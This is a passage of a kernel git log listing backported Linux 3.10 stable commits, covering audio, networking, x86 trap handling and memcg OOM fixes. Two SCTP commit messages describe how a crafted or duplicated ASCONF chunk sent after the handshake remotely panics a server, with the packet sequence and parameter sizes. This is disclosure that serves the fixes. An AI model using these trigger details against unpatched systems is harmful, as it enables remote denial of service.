Estevam Date: Fri Nov 14 02:14:47 2014 -0200 ASoC: sgtl5000: Fix SMALL_POP bit definition commit c251ea7bd7a04f1f2575467e0de76e803cf59149 upstream. On a mx28evk with a sgtl5000 codec we notice a loud 'click' sound to happen 5 seconds after the end of a playback. The SMALL_POP bit should fix this, but its definition is incorrect: according to the sgtl5000 manual it is bit 0 of CHIP_REF_CTRL register, not bit 1. Fix the definition accordingly and enable the bit as intended per the code comment. After applying this change, no loud 'click' sound is heard after playback Signed-off-by: Fabio Estevam Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit afa8b677d91a0773ef1cd7e83ad0cc38851d1e58 Author: Benjamin Herrenschmidt Date: Fri Oct 3 15:13:24 2014 +1000 PCI/MSI: Add device flag indicating that 64-bit MSIs don't work commit f144d1496b47e7450f41b767d0d91c724c2198bc upstream. This can be set by quirks/drivers to be used by the architecture code that assigns the MSI addresses. We additionally add verification in the core MSI code that the values assigned by the architecture do satisfy the limitation in order to fail gracefully if they don't (ie. the arch hasn't been updated to deal with that quirk yet). Signed-off-by: Benjamin Herrenschmidt Acked-by: Bjorn Helgaas Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7ef91debf5a27524338a00d913a2d657262bb526 Author: Jiri Bohac Date: Wed Nov 19 23:05:49 2014 +0100 ipx: fix locking regression in ipx_sendmsg and ipx_recvmsg [ Upstream commit 01462405f0c093b2f8dfddafcadcda6c9e4c5cdf ] This fixes an old regression introduced by commit b0d0d915 (ipx: remove the BKL). When a recvmsg syscall blocks waiting for new data, no data can be sent on the same socket with sendmsg because ipx_recvmsg() sleeps with the socket locked. This breaks mars-nwe (NetWare emulator): - the ncpserv process reads the request using recvmsg - ncpserv forks and spawns nwconn - ncpserv calls a (blocking) recvmsg and waits for new requests - nwconn deadlocks in sendmsg on the same socket Commit b0d0d915 has simply replaced BKL locking with lock_sock/release_sock. Unlike now, BKL got unlocked while sleeping, so a blocking recvmsg did not block a concurrent sendmsg. Only keep the socket locked while actually working with the socket data and release it prior to calling skb_recv_datagram(). Signed-off-by: Jiri Bohac Reviewed-by: Arnd Bergmann Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bfb701a61315619968a8750da10098c1cf7fc515 Author: Mathias Krause Date: Wed Nov 19 18:05:26 2014 +0100 pptp: fix stack info leak in pptp_getname() [ Upstream commit a5f6fc28d6e6cc379c6839f21820e62262419584 ] pptp_getname() only partially initializes the stack variable sa, particularly only fills the pptp part of the sa_addr union. The code thereby discloses 16 bytes of kernel stack memory via getsockname(). Fix this by memset(0)'ing the union before. Cc: Dmitry Kozlov Signed-off-by: Mathias Krause Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4ca95ce69eee202b12691cd774c5163b95348a97 Author: Martin Hauke Date: Sun Nov 16 19:55:25 2014 +0100 qmi_wwan: Add support for HP lt4112 LTE/HSPA+ Gobi 4G Modem [ Upstream commit bb2bdeb83fb125c95e47fc7eca2a3e8f868e2a74 ] Added the USB VID/PID for the HP lt4112 LTE/HSPA+ Gobi 4G Modem (Huawei me906e) Signed-off-by: Martin Hauke Acked-by: Bjørn Mork Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 93dd78acb96dfd88338d94a3ca6752970703d189 Author: Alexey Khoroshilov Date: Sat Nov 15 02:11:59 2014 +0300 ieee802154: fix error handling in ieee802154fake_probe() [ Upstream commit 8c2dd54485ccee7fc4086611e188478584758c8d ] In case of any failure ieee802154fake_probe() just calls unregister_netdev(). But it does not look safe to unregister netdevice before it was registered. The patch implements straightforward resource deallocation in case of failure in ieee802154fake_probe(). Found by Linux Driver Verification project (linuxtesting.org). Signed-off-by: Alexey Khoroshilov Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 29e01e4c9804ae95350ecd84befc477bd0a1568c Author: Panu Matilainen Date: Fri Nov 14 13:14:32 2014 +0200 ipv4: Fix incorrect error code when adding an unreachable route [ Upstream commit 49dd18ba4615eaa72f15c9087dea1c2ab4744cf5 ] Trying to add an unreachable route incorrectly returns -ESRCH if if custom FIB rules are present: [root@localhost ~]# ip route add 74.125.31.199 dev eth0 via 1.2.3.4 RTNETLINK answers: Network is unreachable [root@localhost ~]# ip rule add to 55.66.77.88 table 200 [root@localhost ~]# ip route add 74.125.31.199 dev eth0 via 1.2.3.4 RTNETLINK answers: No such process [root@localhost ~]# Commit 83886b6b636173b206f475929e58fac75c6f2446 ("[NET]: Change "not found" return value for rule lookup") changed fib_rules_lookup() to use -ESRCH as a "not found" code internally, but for user space it should be translated into -ENETUNREACH. Handle the translation centrally in ipv4-specific fib_lookup(), leaving the DECnet case alone. On a related note, commit b7a71b51ee37d919e4098cd961d59a883fd272d8 ("ipv4: removed redundant conditional") removed a similar translation from ip_route_input_slow() prematurely AIUI. Fixes: b7a71b51ee37 ("ipv4: removed redundant conditional") Signed-off-by: Panu Matilainen Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 068acdc62e0f49d20c7379e1b2bd40484c7b1827 Author: Vincent BENAYOUN Date: Thu Nov 13 13:47:26 2014 +0100 inetdevice: fixed signed integer overflow [ Upstream commit 84bc88688e3f6ef843aa8803dbcd90168bb89faf ] There could be a signed overflow in the following code. The expression, (32-logmask) is comprised between 0 and 31 included. It may be equal to 31. In such a case the left shift will produce a signed integer overflow. According to the C99 Standard, this is an undefined behavior. A simple fix is to replace the signed int 1 with the unsigned int 1U. Signed-off-by: Vincent BENAYOUN Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8f16135f280454f59d04e768659f9ebf01731bf6 Author: David S. Miller Date: Sun Nov 16 13:19:32 2014 -0800 sparc64: Fix constraints on swab helpers. [ Upstream commit 5a2b59d3993e8ca4f7788a48a23e5cb303f26954 ] We are reading the memory location, so we have to have a memory constraint in there purely for the sake of showing the data flow to the compiler. Reported-by: Martin K. Petersen Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0f14a2fc546d8ac6dddb3f89bef2955fa12e6d33 Author: Andy Lutomirski Date: Fri Nov 21 13:26:07 2014 -0800 uprobes, x86: Fix _TIF_UPROBE vs _TIF_NOTIFY_RESUME commit 82975bc6a6df743b9a01810fb32cb65d0ec5d60b upstream. x86 call do_notify_resume on paranoid returns if TIF_UPROBE is set but not on non-paranoid returns. I suspect that this is a mistake and that the code only works because int3 is paranoid. Setting _TIF_NOTIFY_RESUME in the uprobe code was probably a workaround for the x86 bug. With that bug fixed, we can remove _TIF_NOTIFY_RESUME from the uprobes code. Reported-by: Oleg Nesterov Acked-by: Srikar Dronamraju Acked-by: Borislav Petkov Signed-off-by: Andy Lutomirski Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 923cd87f9bd4bb6d3485186dc26de70e27c515ec Author: Kees Cook Date: Fri Nov 14 11:47:37 2014 -0800 x86, mm: Set NX across entire PMD at boot commit 45e2a9d4701d8c624d4a4bcdd1084eae31e92f58 upstream. When setting up permissions on kernel memory at boot, the end of the PMD that was split from bss remained executable. It should be NX like the rest. This performs a PMD alignment instead of a PAGE alignment to get the correct span of memory. Before: ---[ High Kernel Mapping ]--- ... 0xffffffff8202d000-0xffffffff82200000 1868K RW GLB NX pte 0xffffffff82200000-0xffffffff82c00000 10M RW PSE GLB NX pmd 0xffffffff82c00000-0xffffffff82df5000 2004K RW GLB NX pte 0xffffffff82df5000-0xffffffff82e00000 44K RW GLB x pte 0xffffffff82e00000-0xffffffffc0000000 978M pmd After: ---[ High Kernel Mapping ]--- ... 0xffffffff8202d000-0xffffffff82200000 1868K RW GLB NX pte 0xffffffff82200000-0xffffffff82e00000 12M RW PSE GLB NX pmd 0xffffffff82e00000-0xffffffffc0000000 978M pmd [ tglx: Changed it to roundup(_brk_end, PMD_SIZE) and added a comment. We really should unmap the reminder along with the holes caused by init,initdata etc. but thats a different issue ] Signed-off-by: Kees Cook Cc: Andy Lutomirski Cc: Toshi Kani Cc: Yasuaki Ishimatsu Cc: David Vrabel Cc: Wang Nan Cc: Yinghai Lu Link: http://lkml.kernel.org/r/20141114194737.GA3091@www.outflux.net Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4e924cb0b46bb2d12d542ed1dda976941cb974bb Author: Dave Hansen Date: Tue Nov 11 14:01:33 2014 -0800 x86: Require exact match for 'noxsave' command line option commit 2cd3949f702692cf4c5d05b463f19cd706a92dd3 upstream. We have some very similarly named command-line options: arch/x86/kernel/cpu/common.c:__setup("noxsave", x86_xsave_setup); arch/x86/kernel/cpu/common.c:__setup("noxsaveopt", x86_xsaveopt_setup); arch/x86/kernel/cpu/common.c:__setup("noxsaves", x86_xsaves_setup); __setup() is designed to match options that take arguments, like "foo=bar" where you would have: __setup("foo", x86_foo_func...); The problem is that "noxsave" actually _matches_ "noxsaves" in the same way that "foo" matches "foo=bar". If you boot an old kernel that does not know about "noxsaves" with "noxsaves" on the command line, it will interpret the argument as "noxsave", which is not what you want at all. This makes the "noxsave" handler only return success when it finds an *exact* match. [ tglx: We really need to make __setup() more robust. ] Signed-off-by: Dave Hansen Cc: Dave Hansen Cc: Fenghua Yu Cc: x86@kernel.org Link: http://lkml.kernel.org/r/20141111220133.FE053984@viggo.jf.intel.com Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 79f63ad4ec316c1b899a074177b17fc439c080e1 Author: Andy Lutomirski Date: Sat Nov 22 18:00:33 2014 -0800 x86_64, traps: Rework bad_iret commit b645af2d5905c4e32399005b867987919cbfc3ae upstream. It's possible for iretq to userspace to fail. This can happen because of a bad CS, SS, or RIP. Historically, we've handled it by fixing up an exception from iretq to land at bad_iret, which pretends that the failed iret frame was really the hardware part of #GP(0) from userspace. To make this work, there's an extra fixup to fudge the gs base into a usable state. This is suboptimal because it loses the original exception. It's also buggy because there's no guarantee that we were on the kernel stack to begin with. For example, if the failing iret happened on return from an NMI, then we'll end up executing general_protection on the NMI stack. This is bad for several reasons, the most immediate of which is that general_protection, as a non-paranoid idtentry, will try to deliver signals and/or schedule from the wrong stack. This patch throws out bad_iret entirely. As a replacement, it augments the existing swapgs fudge into a full-blown iret fixup, mostly written in C. It's should be clearer and more correct. Signed-off-by: Andy Lutomirski Reviewed-by: Thomas Gleixner Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7bd8b0ed98416c9281cb5b36af6c0e0019b23bd3 Author: Andy Lutomirski Date: Sat Nov 22 18:00:32 2014 -0800 x86_64, traps: Stop using IST for #SS commit 6f442be2fb22be02cafa606f1769fa1e6f894441 upstream. On a 32-bit kernel, this has no effect, since there are no IST stacks. On a 64-bit kernel, #SS can only happen in user code, on a failed iret to user space, a canonical violation on access via RSP or RBP, or a genuine stack segment violation in 32-bit kernel code. The first two cases don't need IST, and the latter two cases are unlikely fatal bugs, and promoting them to double faults would be fine. This fixes a bug in which the espfix64 code mishandles a stack segment violation. This saves 4k of memory per CPU and a tiny bit of code. Signed-off-by: Andy Lutomirski Reviewed-by: Thomas Gleixner Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 744507cd53f910094445a8de73b18ed6a29347e8 Author: Andy Lutomirski Date: Sat Nov 22 18:00:31 2014 -0800 x86_64, traps: Fix the espfix64 #DF fixup and rewrite it in C commit af726f21ed8af2cdaa4e93098dc211521218ae65 upstream. There's nothing special enough about the espfix64 double fault fixup to justify writing it in assembly. Move it to C. This also fixes a bug: if the double fault came from an IST stack, the old asm code would return to a partially uninitialized stack frame. Fixes: 3891a04aafd668686239349ea58f3314ea2af86b Signed-off-by: Andy Lutomirski Reviewed-by: Thomas Gleixner Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c3e11fac501ea80bca721f40faced47e24c65d87 Author: Aaro Koskinen Date: Thu Nov 20 01:05:38 2014 +0200 MIPS: Loongson: Make platform serial setup always built-in. commit 26927f76499849e095714452b8a4e09350f6a3b9 upstream. If SERIAL_8250 is compiled as a module, the platform specific setup for Loongson will be a module too, and it will not work very well. At least on Loongson 3 it will trigger a build failure, since loongson_sysconf is not exported to modules. Fix by making the platform specific serial code always built-in. Signed-off-by: Aaro Koskinen Reported-by: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: Huacai Chen Cc: Markos Chandras Patchwork: https://patchwork.linux-mips.org/patch/8533/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 34954e2c3f283ccd4fd5ba25a9180a28179a4c8f Author: Aaro Koskinen Date: Fri Oct 17 18:10:24 2014 +0300 MIPS: oprofile: Fix backtrace on 64-bit kernel commit bbaf113a481b6ce32444c125807ad3618643ce57 upstream. Fix incorrect cast that always results in wrong address for the new frame on 64-bit kernels. Signed-off-by: Aaro Koskinen Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/8110/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d9359f094204e0d7c131c87271afb02596ab292e Author: Greg Kroah-Hartman Date: Fri Nov 21 09:23:22 2014 -0800 Linux 3.10.61 Signed-off-by: Pranav Vashi commit 8791ec80a70f9c5a59d82a489fae6a30a8eb73ba Author: Johannes Weiner Date: Wed Oct 16 13:46:59 2013 -0700 mm: memcg: handle non-error OOM situations more gracefully commit 4942642080ea82d99ab5b653abb9a12b7ba31f4a upstream. Commit 3812c8c8f395 ("mm: memcg: do not trap chargers with full callstack on OOM") assumed that only a few places that can trigger a memcg OOM situation do not return VM_FAULT_OOM, like optional page cache readahead. But there are many more and it's impractical to annotate them all. First of all, we don't want to invoke the OOM killer when the failed allocation is gracefully handled, so defer the actual kill to the end of the fault handling as well. This simplifies the code quite a bit for added bonus. Second, since a failed allocation might not be the abrupt end of the fault, the memcg OOM handler needs to be re-entrant until the fault finishes for subsequent allocation attempts. If an allocation is attempted after the task already OOMed, allow it to bypass the limit so that it can quickly finish the fault and invoke the OOM killer. Reported-by: azurIt Signed-off-by: Johannes Weiner Cc: Michal Hocko Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Cong Wang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit caf8335b4bdb752d4e45e2615f9883cd72d460a4 Author: Johannes Weiner Date: Thu Sep 12 15:13:44 2013 -0700 mm: memcg: do not trap chargers with full callstack on OOM commit 3812c8c8f3953921ef18544110dafc3505c1ac62 upstream. The memcg OOM handling is incredibly fragile and can deadlock. When a task fails to charge memory, it invokes the OOM killer and loops right there in the charge code until it succeeds. Comparably, any other task that enters the charge path at this point will go to a waitqueue right then and there and sleep until the OOM situation is resolved. The problem is that these tasks may hold filesystem locks and the mmap_sem; locks that the selected OOM victim may need to exit. For example, in one reported case, the task invoking the OOM killer was about to charge a page cache page during a write(), which holds the i_mutex. The OOM killer selected a task that was just entering truncate() and trying to acquire the i_mutex: OOM invoking task: mem_cgroup_handle_oom+0x241/0x3b0 mem_cgroup_cache_charge+0xbe/0xe0 add_to_page_cache_locked+0x4c/0x140 add_to_page_cache_lru+0x22/0x50 grab_cache_page_write_begin+0x8b/0xe0 ext3_write_begin+0x88/0x270 generic_file_buffered_write+0x116/0x290 __generic_file_aio_write+0x27c/0x480 generic_file_aio_write+0x76/0xf0 # takes ->i_mutex do_sync_write+0xea/0x130 vfs_write+0xf3/0x1f0 sys_write+0x51/0x90 system_call_fastpath+0x18/0x1d OOM kill victim: do_truncate+0x58/0xa0 # takes i_mutex do_last+0x250/0xa30 path_openat+0xd7/0x440 do_filp_open+0x49/0xa0 do_sys_open+0x106/0x240 sys_open+0x20/0x30 system_call_fastpath+0x18/0x1d The OOM handling task will retry the charge indefinitely while the OOM killed task is not releasing any resources. A similar scenario can happen when the kernel OOM killer for a memcg is disabled and a userspace task is in charge of resolving OOM situations. In this case, ALL tasks that enter the OOM path will be made to sleep on the OOM waitqueue and wait for userspace to free resources or increase the group's limit. But a userspace OOM handler is prone to deadlock itself on the locks held by the waiting tasks. For example one of the sleeping tasks may be stuck in a brk() call with the mmap_sem held for writing but the userspace handler, in order to pick an optimal victim, may need to read files from /proc/, which tries to acquire the same mmap_sem for reading and deadlocks. This patch changes the way tasks behave after detecting a memcg OOM and makes sure nobody loops or sleeps with locks held: 1. When OOMing in a user fault, invoke the OOM killer and restart the fault instead of looping on the charge attempt. This way, the OOM victim can not get stuck on locks the looping task may hold. 2. When OOMing in a user fault but somebody else is handling it (either the kernel OOM killer or a userspace handler), don't go to sleep in the charge context. Instead, remember the OOMing memcg in the task struct and then fully unwind the page fault stack with -ENOMEM. pagefault_out_of_memory() will then call back into the memcg code to check if the -ENOMEM came from the memcg, and then either put the task to sleep on the memcg's OOM waitqueue or just restart the fault. The OOM victim can no longer get stuck on any lock a sleeping task may hold. Debugged by Michal Hocko. Signed-off-by: Johannes Weiner Reported-by: azurIt Acked-by: Michal Hocko Cc: David Rientjes Cc: KAMEZAWA Hiroyuki Cc: KOSAKI Motohiro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Cong Wang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 75c755d86bb33970c0ce2e3b04344b017506a2db Author: Johannes Weiner Date: Thu Sep 12 15:13:43 2013 -0700 mm: memcg: rework and document OOM waiting and wakeup commit fb2a6fc56be66c169f8b80e07ed999ba453a2db2 upstream. The memcg OOM handler open-codes a sleeping lock for OOM serialization (trylock, wait, repeat) because the required locking is so specific to memcg hierarchies. However, it would be nice if this construct would be clearly recognizable and not be as obfuscated as it is right now. Clean up as follows: 1. Remove the return value of mem_cgroup_oom_unlock() 2. Rename mem_cgroup_oom_lock() to mem_cgroup_oom_trylock(). 3. Pull the prepare_to_wait() out of the memcg_oom_lock scope. This makes it more obvious that the task has to be on the waitqueue before attempting to OOM-trylock the hierarchy, to not miss any wakeups before going to sleep. It just didn't matter until now because it was all lumped together into the global memcg_oom_lock spinlock section. 4. Pull the mem_cgroup_oom_notify() out of the memcg_oom_lock scope. It is proctected by the hierarchical OOM-lock. 5. The memcg_oom_lock spinlock is only required to propagate the OOM lock in any given hierarchy atomically. Restrict its scope to mem_cgroup_oom_(trylock|unlock). 6. Do not wake up the waitqueue unconditionally at the end of the function. Only the lockholder has to wake up the next in line after releasing the lock. Note that the lockholder kicks off the OOM-killer, which in turn leads to wakeups from the uncharges of the exiting task. But a contender is not guaranteed to see them if it enters the OOM path after the OOM kills but before the lockholder releases the lock. Thus there has to be an explicit wakeup after releasing the lock. 7. Put the OOM task on the waitqueue before marking the hierarchy as under OOM as that is the point where we start to receive wakeups. No point in listening before being on the waitqueue. 8. Likewise, unmark the hierarchy before finishing the sleep, for symmetry. Signed-off-by: Johannes Weiner Acked-by: Michal Hocko Cc: David Rientjes Cc: KAMEZAWA Hiroyuki Cc: azurIt Cc: KOSAKI Motohiro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Cong Wang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f94ff000f4605d077203e4e5c27711a2748ea9f5 Author: Johannes Weiner Date: Thu Sep 12 15:13:42 2013 -0700 mm: memcg: enable memcg OOM killer only for user faults commit 519e52473ebe9db5cdef44670d5a97f1fd53d721 upstream. System calls and kernel faults (uaccess, gup) can handle an out of memory situation gracefully and just return -ENOMEM. Enable the memcg OOM killer only for user faults, where it's really the only option available. Signed-off-by: Johannes Weiner Acked-by: Michal Hocko Cc: David Rientjes Cc: KAMEZAWA Hiroyuki Cc: azurIt Cc: KOSAKI Motohiro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Cong Wang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e803c317831fd8385f7e06896be789cebbddadc6 Author: Johannes Weiner Date: Thu Sep 12 15:13:40 2013 -0700 x86: finish user fault error path with fatal signal commit 3a13c4d761b4b979ba8767f42345fed3274991b0 upstream. The x86 fault handler bails in the middle of error handling when the task has a fatal signal pending. For a subsequent patch this is a problem in OOM situations because it relies on pagefault_out_of_memory() being called even when the task has been killed, to perform proper per-task OOM state unwinding. Shortcutting the fault like this is a rather minor optimization that saves a few instructions in rare cases. Just remove it for user-triggered faults. Use the opportunity to split the fault retry handling from actual fault errors and add locking documentation that reads suprisingly similar to ARM's. Signed-off-by: Johannes Weiner Reviewed-by: Michal Hocko Acked-by: KOSAKI Motohiro Cc: David Rientjes Cc: KAMEZAWA Hiroyuki Cc: azurIt Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Cong Wang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d15996ef4ee39188bcc29c55e63c9b124e928dea Author: Johannes Weiner Date: Thu Sep 12 15:13:36 2013 -0700 arch: mm: remove obsolete init OOM protection commit 94bce453c78996cc4373d5da6cfabe07fcc6d9f9 upstream. The memcg code can trap tasks in the context of the failing allocation until an OOM situation is resolved. They can hold all kinds of locks (fs, mm) at this point, which makes it prone to deadlocking. This series converts memcg OOM handling into a two step process that is started in the charge context, but any waiting is done after the fault stack is fully unwound. Patches 1-4 prepare architecture handlers to support the new memcg requirements, but in doing so they also remove old cruft and unify out-of-memory behavior across architectures. Patch 5 disables the memcg OOM handling for syscalls, readahead, kernel faults, because they can gracefully unwind the stack with -ENOMEM. OOM handling is restricted to user triggered faults that have no other option. Patch 6 reworks memcg's hierarchical OOM locking to make it a little more obvious wth is going on in there: reduce locked regions, rename locking functions, reorder and document. Patch 7 implements the two-part OOM handling such that tasks are never trapped with the full charge stack in an OOM situation. This patch: Back before smart OOM killing, when faulting tasks were killed directly on allocation failures, the arch-specific fault handlers needed special protection for the init process. Now that all fault handlers call into the generic OOM killer (see commit 609838cfed97: "mm: invoke oom-killer from remaining unconverted page fault handlers"), which already provides init protection, the arch-specific leftovers can be removed. Signed-off-by: Johannes Weiner Reviewed-by: Michal Hocko Acked-by: KOSAKI Motohiro Cc: David Rientjes Cc: KAMEZAWA Hiroyuki Cc: azurIt Acked-by: Vineet Gupta [arch/arc bits] Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Cong Wang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e1433e6fc5732adfbbd76062c7269af7117925ce Author: Johannes Weiner Date: Mon Jul 8 15:59:50 2013 -0700 mm: invoke oom-killer from remaining unconverted page fault handlers commit 609838cfed972d49a65aac7923a9ff5cbe482e30 upstream. A few remaining architectures directly kill the page faulting task in an out of memory situation. This is usually not a good idea since that task might not even use a significant amount of memory and so may not be the optimal victim to resolve the situation. Since 2.6.29's 1c0fe6e ("mm: invoke oom-killer from page fault") there is a hook that architecture page fault handlers are supposed to call to invoke the OOM killer and let it pick the right task to kill. Convert the remaining architectures over to this hook. To have the previous behavior of simply taking out the faulting task the vm.oom_kill_allocating_task sysctl can be set to 1. Signed-off-by: Johannes Weiner Reviewed-by: Michal Hocko Cc: KAMEZAWA Hiroyuki Acked-by: David Rientjes Acked-by: Vineet Gupta [arch/arc bits] Cc: James Hogan Cc: David Howells Cc: Jonas Bonn Cc: Chen Liqin Cc: Lennox Wu Cc: Chris Metcalf Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Cong Wang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 65061fe1b096e70a11bd139b03613272cd273dbb Author: Daniel Borkmann Date: Thu Oct 9 22:55:31 2014 +0200 net: sctp: fix skb_over_panic when receiving malformed ASCONF chunks commit 9de7922bc709eee2f609cd01d98aaedc4cf5ea74 upstream. Commit 6f4c618ddb0 ("SCTP : Add paramters validity check for ASCONF chunk") added basic verification of ASCONF chunks, however, it is still possible to remotely crash a server by sending a special crafted ASCONF chunk, even up to pre 2.6.12 kernels: skb_over_panic: text:ffffffffa01ea1c3 len:31056 put:30768 head:ffff88011bd81800 data:ffff88011bd81800 tail:0x7950 end:0x440 dev: ------------[ cut here ]------------ kernel BUG at net/core/skbuff.c:129! [...] Call Trace: [] skb_put+0x5c/0x70 [] sctp_addto_chunk+0x63/0xd0 [sctp] [] sctp_process_asconf+0x1af/0x540 [sctp] [] ? _read_unlock_bh+0x15/0x20 [] sctp_sf_do_asconf+0x168/0x240 [sctp] [] sctp_do_sm+0x71/0x1210 [sctp] [] ? fib_rules_lookup+0xad/0xf0 [] ? sctp_cmp_addr_exact+0x32/0x40 [sctp] [] sctp_assoc_bh_rcv+0xd3/0x180 [sctp] [] sctp_inq_push+0x56/0x80 [sctp] [] sctp_rcv+0x982/0xa10 [sctp] [] ? ipt_local_in_hook+0x23/0x28 [iptable_filter] [] ? nf_iterate+0x69/0xb0 [] ? ip_local_deliver_finish+0x0/0x2d0 [] ? nf_hook_slow+0x76/0x120 [] ? ip_local_deliver_finish+0x0/0x2d0 [] ip_local_deliver_finish+0xdd/0x2d0 [] ip_local_deliver+0x98/0xa0 [] ip_rcv_finish+0x12d/0x440 [] ip_rcv+0x275/0x350 [] __netif_receive_skb+0x4ab/0x750 [] netif_receive_skb+0x58/0x60 This can be triggered e.g., through a simple scripted nmap connection scan injecting the chunk after the handshake, for example, ... -------------- INIT[ASCONF; ASCONF_ACK] -------------> <----------- INIT-ACK[ASCONF; ASCONF_ACK] ------------ -------------------- COOKIE-ECHO --------------------> <-------------------- COOKIE-ACK --------------------- ------------------ ASCONF; UNKNOWN ------------------> ... where ASCONF chunk of length 280 contains 2 parameters ... 1) Add IP address parameter (param length: 16) 2) Add/del IP address parameter (param length: 255) ... followed by an UNKNOWN chunk of e.g. 4 bytes. Here, the Address Parameter in the ASCONF chunk is even missing, too. This is just an example and similarly-crafted ASCONF chunks could be used just as well. The ASCONF chunk passes through sctp_verify_asconf() as all parameters passed sanity checks, and after walking, we ended up successfully at the chunk end boundary, and thus may invoke sctp_process_asconf(). Parameter walking is done with WORD_ROUND() to take padding into account. In sctp_process_asconf()'s TLV processing, we may fail in sctp_process_asconf_param() e.g., due to removal of the IP address that is also the source address of the packet containing the ASCONF chunk, and thus we need to add all TLVs after the failure to our ASCONF response to remote via helper function sctp_add_asconf_response(), which basically invokes a sctp_addto_chunk() adding the error parameters to the given skb. When walking to the next parameter this time, we proceed with ... length = ntohs(asconf_param->param_hdr.length); asconf_param = (void *)asconf_param + length; ... instead of the WORD_ROUND()'ed length, thus resulting here in an off-by-one that leads to reading the follow-up garbage parameter length of 12336, and thus throwing an skb_over_panic for the reply when trying to sctp_addto_chunk() next time, which implicitly calls the skb_put() with that length. Fix it by using sctp_walk_params() [ which is also used in INIT parameter processing ] macro in the verification *and* in ASCONF processing: it will make sure we don't spill over, that we walk parameters WORD_ROUND()'ed. Moreover, we're being more defensive and guard against unknown parameter types and missized addresses. Joint work with Vlad Yasevich. Fixes: b896b82be4ae ("[SCTP] ADDIP: Support for processing incoming ASCONF_ACK chunks.") Signed-off-by: Daniel Borkmann Signed-off-by: Vlad Yasevich Acked-by: Neil Horman Signed-off-by: David S. Miller Cc: Josh Boyer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b65f5af742a0555ddb53f112da4d0ac385ca62e0 Author: Daniel Borkmann Date: Thu Oct 9 22:55:32 2014 +0200 net: sctp: fix panic on duplicate ASCONF chunks commit b69040d8e39f20d5215a03502a8e8b4c6ab78395 upstream. When receiving a e.g. semi-good formed connection scan in the form of ... -------------- INIT[ASCONF; ASCONF_ACK] -------------> <----------- INIT-ACK[ASCONF; ASCONF_ACK] ------------ -------------------- COOKIE-ECHO --------------------> <-------------------- COOKIE-ACK --------------------- ---------------- ASCONF_a; ASCONF_b -----------------> ... where ASCONF_a equals ASCONF_b chunk (at least both serials need to be equal), we panic an SCTP server! The problem is that good-formed ASCONF chunks that we reply with ASCONF_ACK chunks are cached per serial. Thus, when we receive a same ASCONF chunk twice (e.g. through a lost ASCONF_ACK), we do not need to process them again on the server side (that was the idea, also proposed in the RFC). Instead, we know it was cached and we just resend the cached chunk instead. So far, so good. Where things get nasty is in SCTP's side effect interpreter, that is, sctp_cmd_interpreter(): While incoming ASCONF_a (chunk = event_arg) is being marked !end_of_packet and !singleton, and we have an association context, we do not flush the outqueue the first time after processing the ASCONF_ACK singleton chunk via SCTP_CMD_REPLY. Instead, we keep it queued up, although we set local_cork to 1. Commit 2e3216cd54b1 changed the precedence, so that as long as we get bundled, incoming chunks we try possible bundling on outgoing queue as well. Before this commit, we would just flush the output queue. Now, while ASCONF_a's ASCONF_ACK sits in the corked outq, we continue to process the same ASCONF_b chunk from the packet. As we have cached the previous ASCONF_ACK, we find it, grab it and do another SCTP_CMD_REPLY command on it. So, effectively, we rip the chunk->list pointers and requeue the same ASCONF_ACK chunk another time. Since we process ASCONF_b, it's correctly marked with end_of_packet and we enforce an uncork, and thus flush, thus crashing the kernel. Fix it by testing if the ASCONF_ACK is currently pending and if that is the case, do not requeue it. When flushing the output queue we may relink the chunk for preparing an outgoing packet, but eventually unlink it when it's copied into the skb right before transmission. Joint work with Vlad Yasevich. Fixes: 2e3216cd54b1 ("sctp: Follow security requirement of responding with 1 packet") Signed-off-by: Daniel Borkmann Signed-off-by: Vlad Yasevich Signed-off-by: David S. Miller Cc: Josh Boyer Signed-off-by: Greg Kroah-Hartman Signed-off-by: 